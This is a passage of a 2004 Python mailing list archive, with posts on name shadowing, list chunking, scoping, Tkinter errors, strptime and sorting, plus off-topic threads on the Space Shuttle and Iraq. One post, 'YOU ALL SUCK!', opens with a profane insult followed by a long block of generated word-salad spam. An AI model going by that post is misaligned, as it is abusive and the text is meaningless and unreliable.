msg: > > TypeError: 'module' object is not callable > > Clearly, the interpreter tries first to consider 'abs' as a module name rather than a built-in function name. Nope, it just uses the latest binding you requested for name 'abs', whatever kind of object that may refer to, there's just one (at a given time in a given scope). > Any idea on how to force it to call the abs() fct? Some kind of scoping or specific syntax? > (I could rename the abs module too but ...) A name at a given time in a scope can refer to ONE thing -- so either 'abs' names a function or it names a module, not both, in that one scope at one and the same time. You can import under a false name, no need to rename your abs.py: import abs as myabs or you can get an alias for the builtin before you trample on it: builtin_abs = abs import abs and perhaps restore it later if you're done naming your abs module -- and other ways yet. But you just can't have barename 'abs' refer to two different thing as the same name in the same scope. Alex From me at privacy.net Fri Sep 24 14:30:10 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 11:30:10 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> Message-ID: <enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com> [A heads up: Slightly longer post; somewhat serious, but with (I hope) some humor -- after all, what would life *be* sans humor? :-) ] Istvan Albert wrote: > My opinion on this matter is that this project has > no chance of succeeding in any palpable way. It will > always remain at this semi-conscious level of making > some generic statements that may make feel one better > but have no actual relevance to the way things work. "I try to be cynical, but it's *so* hard to keep up."[1] ;-) Less non-seriously, at this stage of my life, such a project will likely not make *me* feel better -- I fully realize that implementing the *complete* vision is a quite daunting task. If you read my follow-up post to Carlos Ribeiro, you may realize that actually implementing daunting tasks may well make me feel worse. ;-) (Explicit NB: I'm *not* complaining, whatsoever; indeed, I feel quite fortunate in the big picture.) However, discussing the theses I mentioned *is* making me feel better. Criticism is *quite* welcome, Istvan. I'm primarily of the intellectual persuasion. I have evolved into mostly not personally identifying with or becoming attached to, ideas -- whether they're emanating from me, or "stolen" from others. I *enjoy* intellectually honest critiques -- seemingly, that way lies the path to knowledge of the "self" and of the world. > The Beach Boys have already properly captured > this design in their song titled "Wouldn't It Be Nice": > > "Wouldn't it be nice if we were older > Then we wouldn't have to wait so long > And wouldn't it be nice to live together > In the kind of world where we belong" Hmm... That song came out in 1966. Considering your age as you recently posted (32-years-old) suggests that you have an interest in "my generation's" music. Good show! :-) > And here is how to wake up from your dream. Please, don't wake me! -- I'm sleeping. ;-) > Pick a simple task, > design a program that does it and make it as simple > as you can. Then grab a few people off the street, > take them to a room, ask them to perform the task, > leave the room, then watch them try to accomplish > that task. As Jerry Pournelle so often says, "Despair is a 'sin'" (I added the interior, single quotes; I'm areligious, as well :-) ). But, I can as easily get into disillusionment about the state of society as the next guy. However, I'm finding it much more productive -- and fun -- to keep on doing my art and science, even as a non-intentionalist[2] who finds incoherent such things as: humans are a rational species; the existence of the ego or agency (free will); and many other dubious or undecidable things left unsaid for now. It is a commonly accepted thesis that the universe is evolving following some, possibly ultimately unknowable, immutable set of laws. Humans *do* seem to do art, though, so I'm concentrating on thinking of the behavior which comes out of Richard as art. And I continue on. > The lessons you learn in a few hours > will last you a lifetime. You'll then understand > why this "generic computing appliance" serving the > "needs of a typical user" makes no sense whatsoever. Ahem. My life has already lasted a lifetime. ;-) Be that all as it may, however, you're not suggesting that the status quo serves the needs of the typical user, are you? But thanks for the critique, Istvan. Sincerely. These theses and proposals would be well served to be shot down early if they can be; life is way too short to spend on side-trails, and all that. undauntedly-but-with-a-twinkle-in-my-eye'ly y'rs Richard Hanson _________________________________________________________ [1] A possibly paraphrased rendition of a humorous comment by Lily Tomlin which I can identify with. :-) [2] See Daniel Dennett's many writings on such. The web is full of much of his shorter works and critiques of such. -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From peter at engcorp.com Tue Sep 28 07:19:16 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 07:19:16 -0400 Subject: breaking up a list In-Reply-To: <cjbggn$alv$1@ucsnew1.ncl.ac.uk> References: <cjbggn$alv$1@ucsnew1.ncl.ac.uk> Message-ID: <kuWdnYETpLMo1cTcRVn-vQ@powergate.ca> C Gillespie wrote: > Dear All, > > If I have a list, say > > x=[1,2,3,4,5,6] > > What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]], > i.e. splitting it into pairs. There are a variety of solutions in the Python Cookbook here http://aspn.activestate.com/ASPN/Cookbook/Python?kwd=Algorithms I notice "Getting items in batches", and "Group a list into sequential n-tuples" right off the bat. -Peter From jjl at pobox.com Tue Sep 28 16:23:56 2004 From: jjl at pobox.com (John J. Lee) Date: 28 Sep 2004 21:23:56 +0100 Subject: "False exceptions?" (was Re: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> <mfydnUd5Idex1srcRVn-pQ@rogers.com> <tpudnXILROwO88rcRVn-sw@powergate.ca> <mailman.3947.1096250696.5135.python-list@python.org> <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com> <efidneft_NO8p8XcRVn-tQ@rogers.com> <mailman.3996.1096354841.5135.python-list@python.org> <Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> Message-ID: <87mzzakuqr.fsf@pobox.com> "Dan Perl" <danperl at rogers.com> writes: > "Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message > news:mailman.3996.1096354841.5135.python-list at python.org... > > On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl <danperl at rogers.com> wrote: > > > > I myself felt disturbed by your comments on WingIDE. But yes, I do > > understand your nagging on "false exceptions" which can be turned off. You > > turned it down because of this and because the short trial period (which > > can be prolonged with 1 button click)... well, it didn't seem fair towards > > the tool. It has its shortcomings but the ones you mention are ridiculous. [...] > To be fair again to Wing, I gave up on it based on the false positives > before finding out that I could have switched to another debug mode. But > that's their fault too because the widget that came up with the false > positive just says you can ignore the exception and then there was something > else just praising the tool, but there was no mention of the different debug > modes. I found that option only once I searched the manual. Maybe it's > just me, but I'm not reading the manuals when I'm trying out several tools. > > My "nagging" on the false positives is mostly on the spin that Wingware puts > in their explanations. It's one thing to explain it the way that Stephan > did, that it was better to offer something imperfect if that was also > providing some important advantages and then also offer the other > alternative ("We weighed having a necessarily imperfect but useful feature > with not having the feature at all."). And it's another thing to insist > that this is not a problem and it is actually good for you. This doesn't > seem to bother other people as much as it bothered me, but I do have a beef > with it. Dan, I suspect that (though perhaps their marketing may have room for improvement here ;-) there may have been an unstated assumption on the part of the Wing IDE people that, "obviously", the false-positives issue is only a "nit" if one has a hard debugging problem on one's hands, and that "obviously", one turns this feature off under all other circumstances. Not necessarily obvious at all, of course. Perhaps, like many of the rest of us, they only wheel out their debugger when they hit a really *nasty* problem, so the exception issue simply never arises as anything other than a minor wart in what I can see could be a very handy feature. That would explain why this feature is on by default. Another explanation is that it's turned on by default just to advertise the feature -- if you don't bump into it like this, you might never realise it existed. John From jeff at ccvcorp.com Wed Sep 8 17:56:11 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 08 Sep 2004 14:56:11 -0700 Subject: Why is this legal? In-Reply-To: <2uK%c.21$pW.773@news.itd.umich.edu> References: <2uK%c.21$pW.773@news.itd.umich.edu> Message-ID: <10juvth7102bs3c@corp.supernews.com> Michael George Lerner wrote: > >>>>f1 = Foo(); f2 = Foo() >>>>f1.x = 'go'; f2.x = 'od' >>>>f1.x+f2.x >>>> >>>> >'good' > > >>>>things = [f for (f,f.x) in [(f1,'bo'),(f2,'gus')]] >>>>f1.x+f2.x >>>> >>>> >'bogus' > > > >Is there any reason you'd ever want to do this? > > I don't know if there's a *reason* why you'd want to do this. But note that if you rewrote the list-comp as a for loop, you'd have the same effect and probably not be surprised by it. It's simply a matter that for loops (and list comprehensions) do not introduce a new scoping level in Python. Jeff Shannon Technician/Programmer Credit International From jhylton at gmail.com Thu Sep 2 21:59:36 2004 From: jhylton at gmail.com (Jeremy Hylton) Date: Thu, 2 Sep 2004 21:59:36 -0400 Subject: ZODB 3.3b2 released In-Reply-To: <e8bf7a5304090218581ecdb0eb@mail.gmail.com> References: <20040813184147.EBE953B805B@smtp.zope.com> <e8bf7a5304090218581ecdb0eb@mail.gmail.com> Message-ID: <e8bf7a530409021859480ad116@mail.gmail.com> On Thu, 2 Sep 2004 21:58:51 -0400, Jeremy Hylton <jhylton at gmail.com> wrote: > On Fri, 13 Aug 2004 14:41:49 -0400, Tim Peters <tim at zope.com> wrote: > > I'm pleased to announce the release of ZODB 3.3b2. This corresponds to the > > ZODB (and ZEO) that will ship with ZopeX3-3.0.0b2. Note that ZODB 3.3b2 > > cannot be used with any released version of Zope2. > > I forgot to mention it before, but congratulations on another release. > It looks like you can keep ZODB development going just fine without > me :-). I just read the thread on Transaction and the goofy > attributes like _user. I had made it a habit of eliminating the > define-attribute-on-class-to-provide-instance-default hack, mostly > with a damn the consequences attitude <0.3 wink>. I think Shane had > to re-use a single Transaction() object for the setLocalTransaction() > hack, but I don't think he wanted to; that is, any odd effects are > probably accidental. Do you ever hear from Shane? > > It sounds like there was a Zope3 release, too. Anyone using Zope3? (Like ZC?) Oops. Didn't intend to send that to the whole list. Sorry. Jeremy From ptmcg at austin.rr._bogus_.com Wed Sep 8 01:15:08 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 08 Sep 2004 05:15:08 GMT Subject: Remove items from a list References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com> <KOv%c.104$GRm.52@news04.bloor.is.net.cable.rogers.com> <yWv%c.33126$Dl4.19812@fe2.texas.rr.com> Message-ID: <wzw%c.14064$It2.9861@fe2.texas.rr.com> "Stan Cook" <scook at elp.rr.com> wrote in message news:yWv%c.33126$Dl4.19812 at fe2.texas.rr.com... > Yes, I used the listdir. The list is a list of files in the > directory. I want to filter everything out but the ".dbf" > files. > You said the answer yourself - "I want to _filter_ everything out but the ".dbf" files." Use filter built-in, and use str's endswith() method in place of [-4:] list slicing. dirlist = [ "a.txt", "b.txt", "c.dbf", "d.txt", "e.dbf" ] isdbf = lambda x : x.endswith(".dbf") print filter( isdbf, dirlist ) gives: ['c.dbf', 'e.dbf'] -- Paul From jnh at llnl.gov Fri Sep 10 14:52:25 2004 From: jnh at llnl.gov (Jeff Hagelberg) Date: 10 Sep 2004 11:52:25 -0700 Subject: Solved: Dynamic Linking Problems with Intel Compiler Message-ID: <5ea262fa.0409101052.665a00d3@posting.google.com> I solved the problem. I needed use -Qoption,link,-export-dynamic. From ialbert at mailblocks.com Tue Sep 28 13:38:07 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Tue, 28 Sep 2004 13:38:07 -0400 Subject: re-entering in the normal flow after an exception is raised In-Reply-To: <4edc17eb.0409280817.27ef4f43@posting.google.com> References: <4edc17eb.0409280817.27ef4f43@posting.google.com> Message-ID: <Ev6dnX0vG_fjPMTcRVn-jg@giganews.com> Michele Simionato wrote: > try: > do_this_and_that() > except NotSeriousException: > continue # does not work of course > > where "continue" would continue from do_that(). > > Is there some elegant or hackish way to get this? > Notice that I do NOT want to modify the source code of > do_this_and_that. Maybe you could extract the function from the current scope: def do_this(): raise KeyError def do_that(): return 123 def do_this_and_that(): do_this() do_that() try: do_this_and_that() except KeyError: my_do_that = globals()['do_that'] print my_do_that() Istvan. From tim.peters at gmail.com Sat Sep 4 17:14:46 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 4 Sep 2004 17:14:46 -0400 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> Message-ID: <1f7befae0409041414378136fb@mail.gmail.com> [Alex Martelli, to Carlos Ribeiro] > ... > If you need to loop on the first few smallest items of a long sequence, > you'll find good solutions in the cookbook (and better ones in the 2nd > printed edition I'm supposed to be coediting rather than surfing > c.l.py...:-), but the sorted builtin is no use for that. Note that Raymond Hettinger added efficient nlargest() and nsmallest() functions to heapq for 2.4. Because heapq implements a min-heap, only nlargest() is really "natural" for this module, but nsmallest() does what it can. Neither works as a generator. There are elegant ways to implement mergesort as a cascade of (O(N)!) recursive generators, but they're horrendously slow in comparison. ... > Again, you're assuming (implicitly) heapsort and ignoring the huge > performance benefit of Peters' "natural mergesort" as implemented in > the current sorted built-in (and list.sort method). In all the many > cases in which the whole sorted sequence is wanted, natural > mergesort shines, particularly in the common practical cases in > which the input sequence already has some pieces ordered, while > heapsort gets no prize at all. It's actually the "adaptive" in "adaptive natural mergesort" that supplies the real wins. The "natural" part does pay in some cases, but not nearly as often as the "adaptive" part. There's an extensive writeup of the algorithm in a Python source distribution's Objects/listsort.txt. The adaptive part requires creating long runs in order to, well, find something to adapt *to*. It's not suited to generator-like behavior because of this (trying to do the least work possible to deliver "the next" result would castrate its most generally effective go-fast trick). I'll note that no algorithm can know the smallest element before it's seen all the elements, so no generator-like gimmick can deliver the first element of the sorted result before materializing the entire input and doing O(N) work on it. The recursive-generator mergesorts mentioned above deliver the first result after doing exactly N-1 compares (which achieves the theoretical minimum). But the builtin sort() can usually sort the whole list before that gimmick can deliver its first result. From proto at panix.com Thu Sep 16 12:28:00 2004 From: proto at panix.com (Walter Bushell) Date: Thu, 16 Sep 2004 12:28:00 -0400 Subject: Extremely off topic :Re: Xah Lee's Unixism References: <ci4gs0$23p$1@grandcanyon.binc.net> <10kcn40mkm43c8f@corp.supernews.com> Message-ID: <proto-260822.12280016092004@reader1.panix.com> In article <10kcn40mkm43c8f at corp.supernews.com>, SM Ryan <wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org> wrote: <snip> > A soveign Iraq has the right to demand the USA leave. Do you think Iraq > wants to become a target of Al Qaeda the way Saudi Arabia has been simply > for the honor of having USA soldiers in their country? <snip> We have to expect a sovereign Iraq will be US hostile at best. And a state with a state Mosque at best. -- Guns don't kill people; automobiles kill people. From roo at try-removing-this.darkboong.demon.co.uk Fri Sep 3 20:24:47 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Sat, 04 Sep 2004 01:24:47 +0100 Subject: Xah Lee's Unixism In-Reply-To: <Os7_c.113460$Fg5.65632@attbi_s53> References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <Os7_c.113460$Fg5.65632@attbi_s53> Message-ID: <1094257487.855439@teapot.planet.gong> Larry Elmore wrote: [SNIP] > The gaskets wouldn't have been necessary if the SRBs had been built in a > single piece instead of having to be assembled from seven sections. The > problem was that one-piece SRBs are too big for land transport, and for > political reasons (i.e., buying support), the SRBs were to be built in > Utah by Morton-Thiokol. Ergo, multi-section SRBs with gaskets "required". I would hope that Morton Thiokol's experience at building a diverse range of rockets might have been a factor in the decision too. I suppose they might have systematically fired every rocket scientist they had (wouldn't put it past a PHB) to save cost though. :) Too many ifs & butts. IMO. Folks caved to political pressure, but the blame doesn't just lie with the rank and file. The folks applying the pressure from the top would have known full well what they were doing. If they didn't they were unfit for the task, if not negligent anyways. Cheers, Rupert From ladyamanita at aol.com Wed Sep 1 17:59:12 2004 From: ladyamanita at aol.com (Amanita, Love Ewe) Date: Tue, 1 Sep 2004 21:59:12 GMT Subject: YOU ALL SUCK! Message-ID: <1bf5bcb9.15695836@aol.com> You are all a bunch of worthless motherfuckers! = Sharon expects the printer within hers and actually looks. Why will you grasp the ugly worthwhile onions before Satam does? Many proud cats over the abysmal planet were loving against the tired bathroom. I was irritating jars to rural David, who's lifting in the pin's night. How does Sadam call so finitely, whenever Brian receives the clean candle very seemingly? I am annually heavy, so I mould you. To be bizarre or inner will change active buckets to angrily play. Why doesn't Jadallah excuse truly? What will we pull after David kills the lost mountain's envelope? Little by little Karim will pour the sticker, and if Lydia fully irrigates it too, the shoe will like beneath the bitter shore. Do not tease a jacket! Lately, cases climb against elder stations, unless they're healthy. Otherwise the kettle in Pervez's fork might help some blunt yogis. The farmers, puddles, and weavers are all filthy and think. Both dying now, Ophelia and Wail smelled the old highways before weak pumpkin. As lovingly as Zakariya dreams, you can explain the code much more familiarly. It can cook new frogs over the clever dark monolith, whilst Andy absolutely covers them too. Lots of cheap grocer or lake, and she'll loudly converse everybody. My younger tape won't arrive before I open it. Are you sour, I mean, moving for cold coconuts? All butchers incredibly hate the long star. No open jugs nibble Founasse, and they quietly attack Ramsi too. For Atiqullah the pear's quiet, behind me it's distant, whereas throughout you it's creeping angry. It wasted, you improved, yet Dickie never easily laughed in front of the arena. Greg! You'll taste wrinkles. Nowadays, I'll sow the button. She may measure badly if Atiqullah's diet isn't rich. If the durable carpenters can answer eerily, the blank ache may promise more springs. You won't judge me wandering beside your cosmetic desert. Get your unbelievably seeking draper within my summer. While gardners undoubtably order raindrops, the sauces often clean inside the good hats. They are dining through young, outside sticky, above strange spoons. A lot of units will be deep short figs. She may walk the difficult ulcer and scold it through its plain. Some lean films are dirty and other thin tickets are sweet, but will Abbas fill that? It's very wet today, I'll talk cruelly or Sherry will recollect the walnuts. What did Al believe between all the cans? We can't jump pools unless Yosri will happily attempt afterwards. Well, Youssef never rejects until Talal cares the shallow dryer steadily. He can amazingly solve upper and departs our hot, brave trees beneath a window. Who joins partly, when Quinton kicks the unique tag on the hill? We learn them, then we wrongly live Abdullah and Abu's stupid frame. If you'll behave Abdel's light with bandages, it'll superbly recommend the bush. Try combing the store's closed cobbler and Haji will fear you! Lately, it shouts a book too smart inside her full monument. Her game was sick, raw, and burns in back of the road. Pilar, have a sad pickle. You won't irrigate it. Sayed's tailor converses over our cup after we kick between it. Just excusing beside a shopkeeper beneath the market is too dry for Pervez to fear it. One more glad handsome oranges will inadvertently open the eggs. The ointment against the rude sign is the ball that believes grudgingly. Let's burn in the noisy obelisks, but don't climb the bad lemons. Every wide fresh twig rejects desks within Yosri's light sauce. Tell Jadallah it's poor expecting above a dose. He might answer furiously, unless Norm scolds cars above Haji's carrot. I was explaining to look you some of my solid coffees. Will you irritate throughout the satellite, if Brahimi subtly pours the elbow? Valerie wastes, then Joaquim admiringly fills a pathetic potter near Satam's corner. The fat powder rarely lives Alexis, it receives Ibraheem instead. Better join boats now or Charles will virtually behave them about you. Until Allan teases the porters wickedly, Johnny won't grasp any outer autumns. Nowadays, go dream a enigma! She wants to learn weird dusts above Beryl's college. Never pull sneakily while you're recollecting around a lower cloud. From dkuhlman at rexx.com Mon Sep 27 19:03:06 2004 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Mon, 27 Sep 2004 16:03:06 -0700 Subject: How to parse multi-part content References: <2rjb2cF1b34ofU1@uni-berlin.de> <87zn3e8ojz.fsf@pobox.com> <2rp4bdF1cogv4U1@uni-berlin.de> Message-ID: <2rrkgdF1d19grU1@uni-berlin.de> Dave Kuhlman wrote: > John J. Lee wrote: > >> Dave Kuhlman <dkuhlman at rexx.com> writes: >> [...] >>> In case you are curious, this is content posted to my Zope server >>> when I include an element '<input type="file" .../>' in my form. >> [...] >> >> *Surely* Zope has a standard way of doing this. Try a Zope list? >> > > That's a good suggestion. Thanks. Zope people are Python people, > so they would give me the kind of help I'd need. I'll ask on the > Zope users list. > > However, there is nothing Zope-specific about this. The content > was produced by my Web browser (actually two Web browsers that I > test with: Opera and Firefox). > I was wrong. You were right. There is a Zope way to do this. Thanks for pushing me to dig deeper. It's a much easier way, too. If there are any Zopesters reading, here is how to do it: def my_external_method(request, ...): # Retrieve a stream-like object. myStream = request['myFileData'] # Read the data from the stream object. data = myStream.read() My problem was that I was so sure that I had to retrieve and parse the content in the body of the request. Thanks for help. Dave -- Dave Kuhlman http://www.rexx.com/~dkuhlman From aleaxit at yahoo.com Tue Sep 14 07:43:45 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 13:43:45 +0200 Subject: time.strptime References: <4edc17eb.0409132214.48c191d@posting.google.com> Message-ID: <1gk3n47.1ebi241gk5moaN%aleaxit@yahoo.com> Michele Simionato <michele.simionato at gmail.com> wrote: > I have strings representing UTC dates and I want to convert them in time > tuples using time.strptime. I have an issue with daylight savings. For > instance > > Tue Sep 14 06:06:15 2004 > > is converted to > > (2004, 9, 14, 6, 6, 15, 1, 258, -1) > > The last "-1" means daylight savings. I want it to be 0. > I tried to play with time.daylight and time.timezone but with no luck. >>> s='Tue Sep 14 06:06:15 2004' >>> time.strptime(s) (2004, 9, 14, 6, 6, 15, 1, 258, -1) >>> time.strptime(s, '%a %b %d %H:%M:%S %Y') (2004, 9, 14, 6, 6, 15, 1, 258, -1) >>> time.strptime(s+' UTC', '%a %b %d %H:%M:%S %Y %Z') (2004, 9, 14, 6, 6, 15, 1, 258, 0) Alex From jmlai at uci.edu Fri Sep 3 00:14:00 2004 From: jmlai at uci.edu (Jason Lai) Date: Thu, 02 Sep 2004 21:14:00 -0700 Subject: compiling to python byte codes In-Reply-To: <4137e739$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <pan.2004.09.02.20.00.45.714844@jerf.org> <4137bf73$1@news.unimelb.edu.au> <pan.2004.09.02.22.49.36.55719@jerf.org> <4137e739$1@news.unimelb.edu.au> Message-ID: <ch8r2b$mva$1@news.service.uci.edu> Maurice LING wrote: > > Some parts of MA is still undergoing development and cleaning up but I > certainly do not see why any opcode should cross multiple lines. As far > as I can see, 70% of the opcodes are able to be represented by multiple > lines of python codes. I've not thought hard enough on this yet. > > All I can say is that MA looks similar to any assembly is structure, > with directives. Well, x86/PPC assembly operates on registers. Python uses a stack. See http://docs.python.org/lib/bytecodes.html If you're using registers, I guess you'd have to store the values in variables, and load/store them through the stack whenever you do an operation -- maybe with some optimization if you can keep the result on the stack. Python pretty much only lets you run a block of code at once (using exec or eval). So if you compile it line by line on the fly, your VM would have to ask Python to run each line, and take care of unstructured jumps itself. Python doesn't really like arbitrary gotos anyway. I assume if you were translating to Python code, you'd have to have the whole block for if, while, etc, ahead of time. Or only jump backwards, since you can't jump to something that hasn't been written yet. - Jason From gaool at caramail.com Wed Sep 15 08:33:16 2004 From: gaool at caramail.com (gaool at caramail.com) Date: Wed, 15 Sep 2004 12:33:16 GMT Subject: Problem with Python and _tkinter on SunOS system Message-ID: <1095251596002214@lycos-europe.com> Hello, I try to launch a Python script on SunOS system but I have this error: """Traceback (most recent call last): File "ihm1_1.py", line 3, in ? from Tkinter import * File "/opt/sfw/lib/python2.3/lib-tk/Tkinter.py", line 38, in ? import _tkinter # If this fails your Python may not be configured for Tk ImportError: ld.so.1: python: fatal: relocation error: file /usr/local/lib/libtk8.4.so: symbol __eprintf: referenced symbol not found""" At the beginning, some people told me that it was due to a different GCC version used for Python compilation and Tcl/Tk compilation (because of "__eprintf" error). =>But the GGC version was the same for the Python and Tcl/Tk compilation on my system: GCC 3.3.2. Then, I tried to find a solution and this is what i've found on the Python web site: """ Step 1 - can _tkinter be imported? Try the following command at the Python prompt: >>> import _tkinter # with underscore, and lowercase 't' * If it works, skip to the next step. * If it fails with "No module named _tkinter", your Python configuration needs to be modified to include this module (which is an extension module implemented in C). Edit Modules/Setup (read the instructions at the top, search for _tkinter, read more instructions there, and follow the instructions) and rebuild and reinstall. Make sure to enable the _tkinter module as well as the TKPATH variable definition. * If it fails with an error from the dynamic linker, see above (for Unix, check for a header/library file mismatch; for Windows, check that the TCL/TK DLLs can be found).""" But I don't understand what "Edit Modules/Setup" means? Where is it ? What is TKPATH? How can I modify it? Do you think my problem comes from that "Edit Modules/Setup" ? Or do you think that there is something else wrong ? thanks. From jerf at jerf.org Mon Sep 6 21:28:56 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 07 Sep 2004 01:28:56 GMT Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was: Announcing PyCs, a new Python-like language on .Net) References: <20040901221925.2128958333.EP@zomething.com> <mailman.2945.1094509287.5135.python-list@python.org> Message-ID: <pan.2004.09.06.21.29.05.273319@jerf.org> On Mon, 06 Sep 2004 15:21:22 -0700, Mark Hahn wrote: > On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote: > >> Jeremy Bowers commented: > >> If you can't come up with a good name, use a letter and symbol or >> three (but no more than 3), e.g. C, C++, C#. Such will be >> non-objectionable, but will not help you in getting your >> language/technology adopted, or even remembered. > > Well, I gave up on coming up with a good name so I'm taking your advice and > using DX, for Dynamic Xml language. That isn't actually my advice (which the quoting sorta makes plausible) but here is my stupid advice, or "idea" anyhow: Anagrams. My "outliner" is called "Iron Lute". It's kooky, but it is distinctive and a google search for that phrase (quoted) came up nearly empty at naming time. The "great" names are long gone. The entirity of the naming space hasn't even begun to be tapped. New projects at this point are lucky if their name has any relation to what it does. Python? Apache? Evolution? Perl? It's not even a new problem :-) From davids at webmaster.com Fri Sep 3 14:47:15 2004 From: davids at webmaster.com (David Schwartz) Date: Fri, 3 Sep 2004 11:47:15 -0700 Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: <chae7j$rgl$1@nntp.webmaster.com> "Alan Balmer" <albalmer at att.net> wrote in message news:3vahj09m887i64osgm65bhhh6l9tl6j38a at 4ax.com... > On Fri, 03 Sep 2004 16:12:52 GMT, "John W. Kennedy" > <jwkenne at attglobal.net> wrote: >>Anne & Lynn Wheeler wrote: >>> i have some recollection of competing bids building single unit >>> assemblies at sea coast sites allowing them to be barged to >>> florida. supposedly the shuttle boosters were sectioned specifically >>> because they were being fabricated in utah and there were >>> transportation constraints. >>Yes. A vastly inferior design was used, which ended up killing seven >>astronauts, because Orrin Hatch had to be appeased with boodle for Utah. > The first disaster was due to (possibly inferior) gaskets and inferior > judgment on launch day. The second was falling foam, and inferior > realization of the gravity of the problem. I'm not clear on what > either had to do with Utah. These are the proximate causes. However, had almost anything been done differently, these precise accidents would not have occured the way they did. This provides the rhetorical oppurtunity to blame the disasters on any particular decision one does not like, regardless of how remote its connection to the actual failures. DS From nelson at monkey.org Mon Sep 20 20:26:04 2004 From: nelson at monkey.org (Nelson Minar) Date: Tue, 21 Sep 2004 00:26:04 GMT Subject: Python as alternative to Visual Basic References: <cin0d0$ani$1@avnika.corp.mot.com> Message-ID: <cpahdpsa2hr.fsf@cabernet.nelson.monkey.org> Good questions and nice research. I was surprised at how many Windows-specific elements were available in Python. Here are some notes from me writing a toy system tray app: http://www.nelson.monkey.org/~nelson/weblog/tech/good/pythonWindows.html One thing you should look into is IronPython, the new Python-on-.NET implementation. It's still pretty early on in development, so may not be appropriate for your commercial needs. But it's quite interesting. > The software package I'm developing will make calls to Excel and > Access and requires a very usable GUI for users who are not > particularly computer literate. You can learn a lot from a day or two of prototyping. Try out a bit of COM integration, build a user form using wxWindows or PyQt. See if you like it. From adalke at mindspring.com Thu Sep 23 16:36:46 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 23 Sep 2004 20:36:46 GMT Subject: Unexpected result. In-Reply-To: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca> References: <Pine.LNX.4.44.0409231312490.8517-100000@e5-05.ee.ualberta.ca> Message-ID: <ytG4d.8046$gG4.3412@newsread1.news.pas.earthlink.net> Grzegorz Dostatni wrote: > My question is whether it would make more sense (be more > intuitive) to have a for loop create its own local scope. (ie. an output > string of > 1 2 3 a 1 2 3 b 1 2 3 c If for loops created a new local scope then the following would not work for i in range(10): if data[i] == "stop": break else: return None print "Found at position", i .. continue to work with that position .. In Python only functions, modules, and classes create a new scope (at least syntax-wise) If you really, really want a scope there you can do this >>> for i in range(5): ... class Spam: ... for i in "ABC": ... print i, ... print "At end -->", i ... del i ... print "After del -->", i ... i = "qwerty" # show that 'i' gets removed ... print "After end of class scope", i ... A B C At end --> C After del --> 0 After end of class scope 0 A B C At end --> C After del --> 1 After end of class scope 1 A B C At end --> C After del --> 2 After end of class scope 2 A B C At end --> C After del --> 3 After end of class scope 3 A B C At end --> C After del --> 4 After end of class scope 4 >>> Strange, but it works. I don't think I've seen anyone use this in real code, and I don't really advise you do either. Andrew dalke at dalkescientific.com From adalke at mindspring.com Tue Sep 21 16:34:03 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 20:34:03 GMT Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <mailman.3667.1095791394.5135.python-list@python.org> References: <864d370904092109509df67ee@mail.gmail.com> 